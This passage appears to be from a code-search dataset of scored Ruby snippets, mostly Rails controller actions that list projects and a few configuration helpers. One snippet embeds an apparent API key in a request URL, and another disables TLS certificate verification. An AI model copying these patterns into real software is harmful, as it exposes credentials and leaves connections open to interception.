}, { "docid": "eeb04d99f81eca616b76e836555fc93f", "score": "0.6387039", "text": "def index\n @projects = current_user.projects.search(params[:search]).order(sort_column + \" \" + sort_direction).paginate(:per_page => 5, :page=>params[:page])\n #Variable open_proejct just stores the name of the currently open project\n @open_project = current_project.name if current_project \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end", "title": "" }, { "docid": "0ee23287b0f4bb258f5be56b11adb141", "score": "0.63815236", "text": "def index\n @projects = current_user.projects\n @project_tasks = recently_active_tasks(@projects)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @projects }\n end\n end", "title": "" }, { "docid": "724e0c88decba0f4b1adaf3ab021e4d2", "score": "0.63793796", "text": "def index\n @projects = Project.all\n render json: @projects, layout: false\n end", "title": "" }, { "docid": "2c4a06cdbfff6a98ba64affad63774ae", "score": "0.6373163", "text": "def show_all_projects\r\n json = GoodData.get GoodData.profile.projects\r\n puts \"You have this project available:\"\r\n json[\"projects\"].map do |project|\r\n pid = project[\"project\"][\"links\"][\"roles\"].to_s\r\n puts \"Project name: #{project[\"project\"][\"meta\"][\"title\"].bright} Project PID: #{pid.match(\"[^\\/]{32}\").to_s.bright}\"\r\n end\r\n end", "title": "" }, { "docid": "e319b6658c82dc0de4ea766825bf8bd3", "score": "0.6372927", "text": "def index\n @projects = Project.all(:order => \"updated_at DESC\") \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end", "title": "" }, { "docid": "ebd7574b99c11d1fa8ef6f9644e8c5e8", "score": "0.63662404", "text": "def index \n\n @projects = Project.all\n respond_to do |format|\n format.html {render :template => \"projects/index\"}\n format.json { render json: @projects }\n end\n end", "title": "" }, { "docid": "3d17443ac1aeb949c91dff07e1568b07", "score": "0.63632923", "text": "def init_projects\n @projects = []\n\n response = @conn.get do |req|\n req.url \"/api/v1/projects\"\n req.headers = rest_headers\n end\n\n @projects = json(response.body)[:projects]\n end", "title": "" }, { "docid": "0824ae0eebc87197d0fbd2a55a9bd049", "score": "0.635654", "text": "def show\n set_surrogate_key_header \"api/platforms/#{@platform.id}/projects\"\n set_cache_control_headers 3600\n end", "title": "" }, { "docid": "8ccc1579782d85cc9b213d4f5627a5dc", "score": "0.6354206", "text": "def index \n render :json => Project.find(11).tasks\n end", "title": "" }, { "docid": "6e1ca3a9e609427c72f7a9248c9e43a3", "score": "0.6353804", "text": "def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end", "title": "" }, { "docid": "6e1ca3a9e609427c72f7a9248c9e43a3", "score": "0.6352943", "text": "def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end", "title": "" }, { "docid": "6e1ca3a9e609427c72f7a9248c9e43a3", "score": "0.6352943", "text": "def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end", "title": "" }, { "docid": "6e1ca3a9e609427c72f7a9248c9e43a3", "score": "0.6352943", "text": "def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end", "title": "" }, { "docid": "6e1ca3a9e609427c72f7a9248c9e43a3", "score": "0.6352943", "text": "def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end", "title": "" }, { "docid": "6e1ca3a9e609427c72f7a9248c9e43a3", "score": "0.6352943", "text": "def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end", "title": "" }, { "docid": "6e1ca3a9e609427c72f7a9248c9e43a3", "score": "0.6352943", "text": "def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end", "title": "" }, { "docid": "6e1ca3a9e609427c72f7a9248c9e43a3", "score": "0.6352943", "text": "def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end", "title": "" }, { "docid": "02578b1c4525380d493991c14217718c", "score": "0.6351512", "text": "def index\n begin\n initialize_projects\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @projects }\n end\n rescue Exception => error\n render inline: \"<span style='color:red;'>No project found: #{error.message}</span>\"\n end\n end", "title": "" }, { "docid": "192af19f7e4facff4315561b8a9bb885", "score": "0.6332733", "text": "def projects\n @projects = Project.order(created_at: :desc).page(@page).per(10)\n respond_to do |format|\n format.html\n format.js { render :projects}\n end\n end", "title": "" }, { "docid": "6d9e019ab7de1bb4b314f02e0a498cbc", "score": "0.632782", "text": "def index\n @projects = Project.order_by_company_and_project.paginate(page: params[:page] || 1, per_page: helpers.pager_per_page)\n respond_to do |format|\n message = @projects.present? ? \"\" : \"There are no projects available at this time\"\n format.json do\n status = @projects.present? ? :ok : :not_found\n render json: { response: @projects, status: status, message: message }\n end\n format.html do\n # Only authorize html format, json is okay because we use it as\n # an api.\n authorize(:project)\n flash[:alert] = message unless message.blank?\n @projects\n end\n end\n end", "title": "" }, { "docid": "83ae75281dbf69a50d44f959f76054d5", "score": "0.6320559", "text": "def index\n @user = User.find_by_id(session[:userid])\n @projects = current_user_projects\n respond_to do |format|\n format.html # index.html.erb\n format.json\n end\n end", "title": "" }, { "docid": "d925f32a6f66eece26866d1d48b8f035", "score": "0.63098073", "text": "def index\n @current_page = \"PROJECTS\"\n @projects = Project.all\n @projects_for_review = Project.pending_review if current_user\n @new_nav = true;\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end", "title": "" }, { "docid": "6ca2ca84dd22168449fc3b86b03db006", "score": "0.6303907", "text": "def index\n if signed_in?\n @projects = current_user.projects\n respond_to do |format|\n format.html { render 'projects/index' }\n format.json { render template: 'projects/index.json.jbuilder' }\n end\n else\n redirect_to :projects\n end\n end", "title": "" }, { "docid": "0053cc87a04b266cb4cdcbc97a9588b1", "score": "0.6298059", "text": "def index\n @project_promises = ProjectPromise.all\n end", "title": "" }, { "docid": "9d85d8c3182cb70e42a2ed0015d69363", "score": "0.6289599", "text": "def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @projects }\n end\n end", "title": "" }, { "docid": "ed6b399562133b7aedfd69d483315d0d", "score": "0.62588966", "text": "def projects\n records \"project\", \"/project/list\"\n end", "title": "" }, { "docid": "d8bfef0497716fe5ff0b51132bb49db9", "score": "0.6246018", "text": "def index\n cookies.delete :allProjects\n @all_projects=false\n @projects=self.get_my_projects\n\tend", "title": "" }, { "docid": "e6d52c3f2a3a3ff8c65198c986ddbb89", "score": "0.6240595", "text": "def all\n cookies[:allProjects]=true\n @all_projects=true\n @projects={\n \"current\"=> Project.find_all_by_state('current'),\n \"finished\"=> Project.find_all_by_state('finished'),\n \"aborted\"=> Project.find_all_by_state('aborted')\n }\n\t\tself.bread\n authorize! :list_all, @projects\n render 'index'\n end", "title": "" }, { "docid": "2e5417264e1a587c5586be4c8bba5a2d", "score": "0.6227164", "text": "def index\n @projects = current_user.projects\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end", "title": "" }, { "docid": "62892f4661e145c65af06e17b4fe9bdb", "score": "0.6221343", "text": "def index\n @projects = Project.closed(false).paginate(:page => params[:page])\n @final = false\n \n respond_to do |format|\n format.html # index.html.erb\n end\n end", "title": "" }, { "docid": "22b3e8474d0269b90279d4280eec96f1", "score": "0.6217542", "text": "def index\r\n #front end view used\r\n\r\n session[:filter_type] = nil\r\n session[:filter_query] = nil\r\n Rails.cache.delete('total_stats')\r\n\r\n #randomize what project a user sees when first going to the website\r\n #changes everyday at midnight\r\n @project = []\r\n\r\n if cookies[:landing_project].blank?\r\n rand_command = ActiveRecord::Base.connection.adapter_name.downcase.include?('mysql') ? \"RAND()\" : \"RANDOM()\" #RAND() for MySQL; RANDOM() for sqlite3\r\n @project = Project.exclude_multi_project.has_outreach.published.first(:order => rand_command)\r\n cookies[:landing_project] = { :value => @project.name, :expires => Time.now.midnight + 1.day} if @project\r\n else\r\n @project = Project.find_by_name(cookies[:landing_project])\r\n end\r\n\r\n if @project\r\n results = get_project_slider_info(@project.name)\r\n @project_slider_html = results\r\n @formatted_project_name = @project.name.gsub(' ','_')\r\n end\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(:controller => 'projects', :action => 'show', :id => @formatted_project_name) }\r\n format.xml { render :xml => @project }\r\n end\r\n end", "title": "" }, { "docid": "e1faa3c7c8f9ed6f94a38a055d28d826", "score": "0.6198914", "text": "def index\n @projects = current_user.projects.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end", "title": "" }, { "docid": "a8a36a9516d59a980224d42d460bcd6d", "score": "0.61985415", "text": "def index\n @projects = current_power.projects\n end", "title": "" }, { "docid": "d343552d05afe48aba08d4bdc699d46f", "score": "0.619276", "text": "def show\n @projects = find_projects\n end", "title": "" }, { "docid": "de75a5c6c8809c9fbaa240f3e36d3e78", "score": "0.6188653", "text": "def index\n @user = get_user\n @projects = Project.all\n # render :inline => @projects.to_json\n end", "title": "" }, { "docid": "5352f0f3eb2376d9df715847663e454c", "score": "0.6185732", "text": "def index\n\t\t@projects = Project.all\n\tend", "title": "" }, { "docid": "73df53971695f37e9cad6cc23eba8c67", "score": "0.61685205", "text": "def index\n @projects = ProjectDecorator.all\n @releases = ReleaseDecorator.recent\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @projects }\n end\n end", "title": "" }, { "docid": "6628bf0a57e472be987be939138a0bba", "score": "0.6167227", "text": "def active\n raw_response = get_request('projects/active')\n parse_response(raw_response, :projects)\n end", "title": "" }, { "docid": "bf8c572449509b89951be5461d1812be", "score": "0.6163524", "text": "def index\n if params[:cluster_id]\n @cluster_projects = @projectable.projects\n @group_projects = @projectable.group_projects\n @all_projects = Project.where(id: (@projectable.project_ids+@projectable.group_project_ids)).order('name asc')\n\n if params[:state] == 'group'\n @projects = @group_projects\n elsif params[:state] == 'module'\n @projects = @projectable.projects\n else\n @projects = @all_projects\n end\n elsif params[:group_id]\n @projects = Group.find(params[:group_id]).projects\n @all_projects = @projects\n end\n\n @current_user_projects = @projects.with_user(current_user)\n if params[:ufilter] == 'you-are-in'\n @projects = @current_user_projects\n end\n\n respond_to do |format|\n format.html { render layout: 'fluid' }# index.html.erb\n format.json { render json: @projects }\n end\n end", "title": "" }, { "docid": "9d0a0da1dcb3c6247d0a6192b6c3f59d", "score": "0.61635077", "text": "def index\n #@projects = Project.all\n PivotalTracker::Client.token = current_user.setting.pt_api_key\n logger.debug current_user.setting.pt_api_key\n @projects = PivotalTracker::Project.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @projects }\n end\n end", "title": "" }, { "docid": "354af124ca6e6b7ccdc8773f022aa4cc", "score": "0.61628985", "text": "def projectDetails\r\n projectUrl = params[:url]\r\n projectUrl = projectUrl[4..-2]\r\n puts projectUrl\r\n result = Hashie::Mash.new HTTParty.get(\"http://api.ravelry.com/projects/akaemi/progress.json?status=finished&key=0e3904e749b478766294964e01322c78b53ef411\") \r\n \r\n # find the right project\r\n result[\"projects\"].each{|key, value| \r\n thumbnail = key[\"thumbnail\"]\r\n puts thumbnail[\"src\"]\r\n if (thumbnail[\"src\"].eql? projectUrl) \r\n puts \"found a match\"\r\n @project = key;\r\n end\r\n }\r\n \r\n respond_to do |format|\r\n format.json\r\n end\r\n \r\n end", "title": "" }, { "docid": "8b79fc6843fc945612721132c2faf806", "score": "0.6161203", "text": "def show\n respond_with @project do |format|\n format.json do\n render json: @project.as_json.merge(\n commits_url: project_commits_url(@project, format: 'json'),\n commits: @project.commits.order('committed_at DESC').limit(10).map { |commit|\n commit.as_json.merge(\n percent_done: commit.fraction_done.nan? ? 0.0 : commit.fraction_done*100,\n translations_done: commit.translations_done,\n translations_total: commit.translations_total,\n strings_total: commit.strings_total,\n import_url: import_project_commit_url(@project, commit, format: 'json'),\n sync_url: sync_project_commit_url(@project, commit, format: 'json'),\n url: project_commit_url(@project, commit),\n status_url: project_commit_url(@project, commit),\n )\n }\n )\n end\n end\n end", "title": "" }, { "docid": "3ce0a9c14aff323d419c918aeb2805e3", "score": "0.61587906", "text": "def list\r\n @projects = Project.where(user:current_user).order(created_at: :desc).page(params[:page])\r\n respond_with(@projects)\r\n end", "title": "" }, { "docid": "f1a8e4da80af9004f06af4cfbad8dd0f", "score": "0.61586845", "text": "def index\n\t\tif present_user.role? 'admin'\n\t\t\t@projects = Project.all\n\t\telse\n\t\t\t@projects = present_user.projects\n\t\tend\n\t\tmake_breadcrumbs\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render json: @projects }\n\t\tend\n\tend", "title": "" }, { "docid": "39cea949ea060bcb0a9eb4fc8f708add", "score": "0.61562943", "text": "def index\n @projects = Project.find(:all,:order => \"start_date DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end", "title": "" }, { "docid": "5483af2bf478a9884ca80a61312a3d6e", "score": "0.61538386", "text": "def new\n @project = Project.new(user_id: current_user.id)\n find_people_list\n fetch_clients\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "f101f859eee3e48bebfa83017df9c1ba", "score": "0.61529297", "text": "def recent\n recent_projects = []\n first = Rails.cache.fetch \"recent/first\"\n second = Rails.cache.fetch \"recent/second\"\n third = Rails.cache.fetch \"recent/third\"\n\n recent_projects << first << second << third\n\n recent_projects.each do |entry|\n next if not entry\n entry[:time] = view_context.time_ago_in_words(entry[:time])\n end\n\n recent_projects.compact!\n\n render json: recent_projects\n\n end", "title": "" }, { "docid": "4e7a86bb9e81d042908834c1cbd770ab", "score": "0.6143242", "text": "def show\n @unfinished_project = UnfinishedProject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @unfinished_project }\n end\n end", "title": "" }, { "docid": "e90749155b90fe79d831161f82c1b803", "score": "0.6141203", "text": "def index\n if @project\n if ProjectUser.verify_role(current_user.id, @project, 'client')\n @tickets = Ticket.all_for_project(@project)\n render json: @tickets, status: 200\n else\n render json: { error: 'You must be a member of a project to see its content' }, status: :unauthorized\n end\n else\n render json: { error: \"no project found with id of #{params[:project_id]}\" }, status: 404\n end\n end", "title": "" }, { "docid": "2f81355e301367bd79864ab8d24cada8", "score": "0.61358255", "text": "def index\r\n\r\n\t\t@project = Project.find(params[:id])\r\n\t\tsession[:project_id]=params[:id]\r\n\t\t\r\n\tend", "title": "" }, { "docid": "b1a0946acf2c2276d6e76d1fe425dfd7", "score": "0.6135374", "text": "def find_projects\n \turi = URI(BASE_URL+\"projects.json?limit=100\")\n \treq = Net::HTTP::Get.new(uri)\n \treq['Authorization']=BASIC_AUTHORIZATION\n \tres = Net::HTTP.start(uri.hostname, uri.port) {|http|\n \t http.request(req)\n \t}\n\n \tprojects_full_json = JSON.parse(res.body)[\"projects\"]\n \tres = []\n \tprojects_full_json.each do |json_project|\n \t\tp = ProjectForm.new(json_project)\n \t\tres << p\n \tend\n\n \tres.each do |project|\n #Recorremos los proyectos, si no existen los creamos, en otro caso los actualizamos.\n project_db = Project.find_or_create_by(:identifier=>project.identifier)\n\n project_db.update(\n :name => project.name,\n :description => project.description,\n :identifier => project.identifier,\n :trackers=>[]\n );\n\n correspond = Correspond.where(:id_remote=>project.id,:remote_type=>0).first_or_create\n correspond.id_local=project_db.id\n correspond.remote_type=0\n correspond.save\n\n if(!project_db.errors.empty?)\n puts project_db.errors.full_messages\n end\n end\n return res\n end", "title": "" }, { "docid": "b1fd7fd1af509ba86d73fe32495c9259", "score": "0.6134851", "text": "def index\n #@projects = []\n if current_user\n #@projects = current_user.projects.where(\"memberships.status >= ?\", 1)\n end\n\n if params[:id]\n @project = Project.find(params[:id])\n authorize! :read, @project\n else\n @project = @projects.first\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.js { render :action => 'show'}\n format.json { render json: @projects }\n end\n end", "title": "" }, { "docid": "21da7eef3338888f93f2a7215b76c1f7", "score": "0.61206865", "text": "def index\n \t@projects = Project.all\n end", "title": "" }, { "docid": "3b46563de027c7e239f9b45fd052ee25", "score": "0.61182237", "text": "def readProject\n @allMyPost = Project.where(\"status = :status\", { status: \"0\"}).limit(6).order(id: :desc)\n if params[:view]\n @project = Project.find_by(projectid: params[:view], status: \"0\")\n @uthor = User.find_by_userid(@project['userid'])\n #if !@project.empty?\n if @project\n render 'readProjectOffline'\n else\n redirect_to homePage_path\n end\n else\n redirect_to homePage_path\n end\n end", "title": "" }, { "docid": "5e4db97fd5233307b59894cc32e9c73c", "score": "0.61181825", "text": "def show\n # turn ruby database into json\n # route to the project 3 page with this json\n # id = 1\n end", "title": "" }, { "docid": "73ac1ccb52391ef438f4572a6a642338", "score": "0.6115004", "text": "def index\n\t\t@projects = Project.where(user_id: current_user.id).order(created_at: :asc)\n\tend", "title": "" }, { "docid": "56078bacb686d790a730ab1d461f9dc2", "score": "0.6110971", "text": "def index\n @projects = Project.where user: current_user\n render json: @projects, each_serializer: Projects::IndexSerializer\n end", "title": "" }, { "docid": "0ed9611ab2860143022ed1ff87bfe284", "score": "0.6104177", "text": "def listProjects \n uri = URI(RUNDECKSERVER + ':' + RUNDECKPORT + '/api/1/projects')\n http = Net::HTTP.new(uri.host, uri.port)\n headers = {\n 'Content-Type'=> 'application/json',\n 'X-RunDeck-Auth-Token'=> API_KEY \n}\n r = http.get(uri.path, headers)\n return r.body.force_encoding(\"UTF-8\")\n\nend", "title": "" }, { "docid": "2c753a41b66e7f6713fef3656f45a7cc", "score": "0.6104013", "text": "def show\n\t\tlistable_actions = ActionType.where(:code=>['create', 'update', 'destroy', 'approve'])\n\n\t\t@project = Project.find(params[:id])\n\t\t@tasks = @project.root_tasks\n\t\t@events = @project.events.where(:action_type_id => listable_actions).limit 6\n\t\t@sprints = @project.sprints\n\t\t@user_relations = @project.project_user_relations\n\n\t\tmake_breadcrumbs\n\t\tsession[:last_controler] = self.controller_name\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render json: @project }\n\t\tend\n\tend", "title": "" }, { "docid": "a4c2fb2ef0f959208ce9c01c34633365", "score": "0.609753", "text": "def index\n @about_projects = AboutProject.last(1)\n\n respond_to do |format|\n format.json {render json: @about_projects[0], :only => [:description]}\n end\n end", "title": "" }, { "docid": "702eab61932f3939240be27ed591b7f5", "score": "0.6087443", "text": "def get_projects\n @params=task_params\n @client=current_user.clients.find(@params[:client_id])\n counter=0\n @res=[]\n @client.projects.each do |c|\n if c.users.include? current_user\n @res[counter]={\n project_id: c.id, \n name: c.name\n }\n counter+=1\n end\n end\n respond_to do |format|\n format.json {render json: @res.uniq}\n end\n end", "title": "" }, { "docid": "9783f0d89e1281cbe6d74ad87c238471", "score": "0.6083401", "text": "def get\n CircleCi.request(conf, '/projects').get\n end", "title": "" }, { "docid": "e9ede420e69f250ebf3d12edfd66e287", "score": "0.60635996", "text": "def index\n # A project belongs_to a company/account\n # Let's retrieve all the projects associated with the account\n # the current_user is currently browsing the app through\n @from = Date.parse(params[:from] || '').at_beginning_of_week rescue Date.today.at_beginning_of_week\n @from = 1.week.ago(@from)\n @to = 3.months.from_now(@from)\n \n @date_range = []\n start = @from.clone\n \n while start < @to\n @date_range << start\n start = start + 7.days\n end\n\n @projects = ProjectDecorator.decorate(current_user.current_company.projects.sort do |a,b|\n a.name.downcase <=> b.name.downcase\n end)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end", "title": "" }, { "docid": "25d8fff4a2d4443e7d3dc473c6c2c743", "score": "0.6063146", "text": "def index \n render :json => Project.all\n end", "title": "" }, { "docid": "c0747bd02e216751cfd4e42384cd14ea", "score": "0.6058816", "text": "def show\n render :json => Project.find(params[:project_id]).tasks.find(params[:id])\n end", "title": "" }, { "docid": "28e2da98ab2e0a9a6934e7d6625ee9d9", "score": "0.60570884", "text": "def get_project(project_id)\n http = Net::HTTP.new(@city_db_url, @port)\n http.read_timeout = 1000\n if @city_db_is_https\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n\n request = Net::HTTP::Get.new(\"/projects/#{project_id}.json\")\n request.add_field('Content-Type', 'application/json')\n request.add_field('Accept', 'application/json')\n request.basic_auth(ENV['URBANOPT_USERNAME'], ENV['URBANOPT_PASSWORD'])\n\n response = http.request(request)\n if response.code != '200' # success\n @runner.registerError(\"Bad response #{response.code}\")\n @runner.registerError(response.body)\n @result = false\n return {}\n end\n\n result = JSON.parse(response.body, symbolize_names: true)\n return result\n end", "title": "" }, { "docid": "12e91c845013fdeb898d35ed6ae1624b", "score": "0.60559374", "text": "def index\n @projects = Project.includes(:user).all\n respond_with(@projects) do |format|\n format.json { render :json => {:list => @projects.as_json, :current_user => current_user.as_json} }\n format.html\n end\n end", "title": "" }, { "docid": "b22ecc37062d3e76aac8e8e11e6cc9df", "score": "0.6054036", "text": "def index\n @projects = Project.order('LOWER(name)')\n respond_with(@projects) do |format|\n format.json do\n if params[:offset].to_i > 0\n @projects = @projects.offset(params[:offset].to_i)\n end\n render json: decorate(@projects).to_json\n end\n end\n end", "title": "" }, { "docid": "28071023392f888c75942f9558aa1947", "score": "0.60442674", "text": "def index\n @project_entries = ProjectEntry.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @project_entries }\n end\n end", "title": "" }, { "docid": "adacf3081d75be772f952c8b379a976d", "score": "0.6039998", "text": "def show\n @project = @client.projects.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "9ffef7ee2c2dae1b11beea8c0c3cce89", "score": "0.6038116", "text": "def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end", "title": "" }, { "docid": "e9e0571c8bb9a0b6ded3a26ecbe426e0", "score": "0.6021847", "text": "def index\n @project = Project.with_api_key(params[:api_key]).first\n if @project\n @activities = @project.activities.page(params[:page]).per(PER_PAGE).order('created_at desc')\n flash.now[:notice] = \"Set WebHooks to external services. See #{ActionController::Base.helpers.link_to 'all hook list', project_hooks_path(@project.api_key)}.\" if @activities.empty?\n else\n render text: 'Project not found', status: 404\n end\n end", "title": "" }, { "docid": "9d6c07ee3bd8bb30950dc935abe67488", "score": "0.6020028", "text": "def index\n projects = current_user.admin_projects.paginate(:page => params[:page])\n render json: projects\n end", "title": "" }, { "docid": "7b0dc546f7e3eaf3d8880694a7d62483", "score": "0.6009641", "text": "def index\n @user = User.find_by(id: params[:user_id])\n @project = @user.projects\n if @project \n render :json => @project\n else\n render :json => 422\n end\n end", "title": "" }, { "docid": "bbb1133c72172c2b5072799b0e461a21", "score": "0.6009543", "text": "def list_projects\n handle_action_exceptions(__method__) do\n cmd_line = ['listprojects']\n cmd_line << 'json' if @json\n\n handle_return(@toolshck_ether.cmd(cmd_line.join(' ')))\n end\n end", "title": "" }, { "docid": "7512155b98b272c71e0017ea7d460fba", "score": "0.6005897", "text": "def project(project_id, params = {})\n make_get_request(\"/projects/#{project_id}\", params)\n end", "title": "" }, { "docid": "59c57e2593257cb87a0528e3873101e3", "score": "0.60056597", "text": "def index\n @projects = Service::JIRA.projects\n respond_with(@projects) do |format|\n format.json { render json: @projects.to_a.sort_by(&:name).map(&:attrs).to_json }\n end\n end", "title": "" }, { "docid": "2acec6e0c98e8686e967370202d18e4f", "score": "0.6001641", "text": "def index\n prepare_projects_display\n \n end", "title": "" }, { "docid": "27c094a541612c1dd437bc161d118293", "score": "0.5992554", "text": "def index\n @projects = @namespace.projects.all\n end", "title": "" }, { "docid": "9a2985f4b46044bf806608ecd6127db9", "score": "0.5984001", "text": "def index\n\t\t@projects = current_user.projects.order(\"created_at ASC\")\n\tend", "title": "" }, { "docid": "ce4da6695a121adb98f6196e291de748", "score": "0.59839374", "text": "def show\n @project = Project.find(params[:id])\n cookies.permanent.signed[:open_project] = @project.id\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end", "title": "" }, { "docid": "b36ef801f1a0738677729254dc14a75c", "score": "0.5974631", "text": "def get(project_name)\n response = get_request(\"/projects/#{project_name}/\")\n TheShiningSource::Project.new(response)\n end", "title": "" }, { "docid": "d6733ad3e9b2fbd0b84163d20ebc2c8c", "score": "0.59695834", "text": "def projects\n @projects ||= begin\n user = api('user')\n api(\"users/#{user['id']}/projects\").sort_by { |p| p['id'] }\n end\nend", "title": "" }, { "docid": "289a3ecf716155b0a919924b2cec139b", "score": "0.5963954", "text": "def get_projects_of_user\n respond_to do |format|\n format.json {\n #param = params[:payload]\n #@user = User.find_by_id(param[:id])\n @projects = Project.where(:user_id => @current_user.id)\n if @projects\n render :json => @projects\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end", "title": "" } ]
1a8d6d2a3874f86be23932180acd18c7
Set configuration options using a block
[ { "docid": "36d85685a666775dc5b89ad98914e8e5", "score": "0.0", "text": "def configure\n yield self\n end", "title": "" } ]
[ { "docid": "12eb3c1de3837dece778b97ab4fe0547", "score": "0.8248542", "text": "def configure(&block)\n Config.set(&block)\n end", "title": "" }, { "docid": "b5eeab411114e3a89dab27357a0f886c", "score": "0.78845453", "text": "def configure_with_block(&block)\n ConfigurationDSL.new(self, &block).set_config\n\n nil\n end", "title": "" }, { "docid": "f0e2b9a13ce7f82f28690ef26fc1ed97", "score": "0.7816407", "text": "def configure(&block)\n block.call(@config)\n end", "title": "" }, { "docid": "a4593590c55416a2c55e6ffe123c3e24", "score": "0.77975506", "text": "def set_options(&block)\n\t\t\tblock.yield(self)\n\t\tend", "title": "" }, { "docid": "86c90ab20b5547aa622f0aeb4aab8cbd", "score": "0.7771675", "text": "def configure(&block)\n Config.configure(&block)\n end", "title": "" }, { "docid": "147c5c102e2bf243d507595ac52f9259", "score": "0.77604234", "text": "def configure(&block)\n block.call(config)\n end", "title": "" }, { "docid": "fa8bcdb78cba0337efee3cb5b2167a59", "score": "0.7759396", "text": "def configure(&block)\n block.call(configuration)\n end", "title": "" }, { "docid": "10cf9d025f1f6e14d4c48a2d28afd4ec", "score": "0.7754782", "text": "def configure(&block)\n block.call(@config)\n end", "title": "" }, { "docid": "a8027ced832a08417ba1ca09614a7a1d", "score": "0.7752041", "text": "def configure(&block)\n config.configure(&block)\n end", "title": "" }, { "docid": "a8027ced832a08417ba1ca09614a7a1d", "score": "0.7750664", "text": "def configure(&block)\n config.configure(&block)\n end", "title": "" }, { "docid": "a8027ced832a08417ba1ca09614a7a1d", "score": "0.7750664", "text": "def configure(&block)\n config.configure(&block)\n end", "title": "" }, { "docid": "a8027ced832a08417ba1ca09614a7a1d", "score": "0.7750664", "text": "def configure(&block)\n config.configure(&block)\n end", "title": "" }, { "docid": "02a0eb933a747085f497f387923a5daf", "score": "0.77488047", "text": "def configure(&block)\n block.call(config) if block_given?\n end", "title": "" }, { "docid": "f04c4a2523bf2d828c31312a03f73a5a", "score": "0.76889163", "text": "def configure(&block)\n config.configure(&block)\n end", "title": "" }, { "docid": "b6ee66781923574965380bfb4b24be8a", "score": "0.7687333", "text": "def configure(&block)\n ConfigBlock.new(self, &block) if block_given?\n end", "title": "" }, { "docid": "b29174e7759ef6c212425f0ef9f67eee", "score": "0.7674863", "text": "def set_config\n instance_eval(&block)\n\n nil\n end", "title": "" }, { "docid": "01cef8ba8807c601dec89a7bddaa5dc8", "score": "0.7671364", "text": "def set_options(&block)\n block.yield(self)\n end", "title": "" }, { "docid": "0c9d1b353aa3cdd888483e5aee691561", "score": "0.7628846", "text": "def config(&block)\n instance_exec(&block)\n end", "title": "" }, { "docid": "0c9d1b353aa3cdd888483e5aee691561", "score": "0.7628846", "text": "def config(&block)\n instance_exec(&block)\n end", "title": "" }, { "docid": "51bfce26c95892e78d8e3cd9567fc690", "score": "0.76286393", "text": "def configure &blk\n blk.call config\n end", "title": "" }, { "docid": "cc3ef626d4bbca9c3dd7865c6db7a036", "score": "0.76257163", "text": "def config &block\n instance_eval(&block)\n end", "title": "" }, { "docid": "cc3ef626d4bbca9c3dd7865c6db7a036", "score": "0.76257163", "text": "def config &block\n instance_eval(&block)\n end", "title": "" }, { "docid": "d38575a105f59dbc5043d9e4836cd144", "score": "0.76173306", "text": "def configure(&block); end", "title": "" }, { "docid": "d38575a105f59dbc5043d9e4836cd144", "score": "0.76173306", "text": "def configure(&block); end", "title": "" }, { "docid": "d38575a105f59dbc5043d9e4836cd144", "score": "0.76173306", "text": "def configure(&block); end", "title": "" }, { "docid": "d38575a105f59dbc5043d9e4836cd144", "score": "0.76173306", "text": "def configure(&block); end", "title": "" }, { "docid": "34abc95bab7bd9f49207435f52c6cc00", "score": "0.7606319", "text": "def config(&block)\n instance_eval(&block)\n end", "title": "" }, { "docid": "7e49410ffcc144ff3e6a4a90825b5958", "score": "0.7604457", "text": "def configure(&block)\n instance_eval(&block)\n end", "title": "" }, { "docid": "864b9445e1ab4fd69a9a3ace630571e2", "score": "0.7594211", "text": "def configure(&block)\n config.configure_with_block(&block)\n\n nil\n end", "title": "" }, { "docid": "fcf00f383d4826da8f4f58927635ef83", "score": "0.7570327", "text": "def configure(&block)\n control.config.configure(&block)\n end", "title": "" }, { "docid": "5c96e9fff31bb8d81b0fea845d68e066", "score": "0.75685126", "text": "def configure(options, &block)\n if block\n save = options.keys.map do |k|\n [k, send(k)]\n end\n else\n options.each do |name, value|\n send(\"#{name}=\", value) if ATTRIBUTES.include?(name.to_sym)\n end\n end\n\t\tend", "title": "" }, { "docid": "88a0afdcce55821bb435e5972d99a41f", "score": "0.75576085", "text": "def 